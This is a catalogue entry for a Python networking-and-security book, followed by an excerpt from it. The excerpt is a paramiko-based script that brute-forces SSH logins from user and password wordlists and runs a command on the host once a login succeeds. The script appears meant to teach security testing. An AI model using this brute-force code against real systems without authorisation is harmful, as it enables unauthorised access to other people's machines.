Mastering Python for Networking and Security by José Manuel Ortega

Author:José Manuel Ortega
Language: eng
Format: epub, mobi
Tags: COM043050 - COMPUTERS / Security / Networking, COM051360 - COMPUTERS / Programming Languages / Python, COM053000 - COMPUTERS / Security / General
Publisher: Packt Publishing
Published: 2018-09-28T06:08:54+00:00

class SSHConnection:

def __init__(self):

#ssh connection with paramiko library

self.ssh = paramiko.SSHClient()

def ssh_connect(self,ip,user,password,code=0):

self.ssh.load_system_host_keys()

self.ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

print("[*] Testing user and password from dictionary")

print("[*] User: %s" %(user))

print("[*] Pass :%s" %(password))

try:

self.ssh.connect(ip,port=22,username=user,password=password,timeout=5)

except paramiko.AuthenticationException:

code = 1

except socket.error as e:

code = 2

self.ssh.close()

return code

For the brute-force process, we can define one function that iterates over users' and passwords' files and tries to establish a connection with the ssh for each combination:

def startSSHBruteForce(self,host):

try:

#open files dictionary

users_file = open("users.txt")

passwords_file = open("passwords.txt")

for user in users_file.readlines():

for password in passwords_file.readlines():

user_text = user.strip("\n")

password_text = password.strip("\n")

try:

#check connection with user and password

response = self.ssh_connect(host,user_text,password_text)

if response == 0:

print("[*] User: %s [*] Pass Found:%s" %(user_text,password_text))

stdin,stdout,stderr = self.ssh.exec_command("ifconfig")

for line in stdout.readlines():

print(line.strip())

sys.exit(0)

elif response == 1:

print("[*]Login incorrect")

elif response == 2:

print("[*] Connection could not be established to %s" %(host))

sys.exit(2)

except Exception as e:

print("Error ssh connection")

pass

#close files

users_file.close()

passwords_file.close()

except Exception as e:

print("users.txt /passwords.txt Not found")

pass

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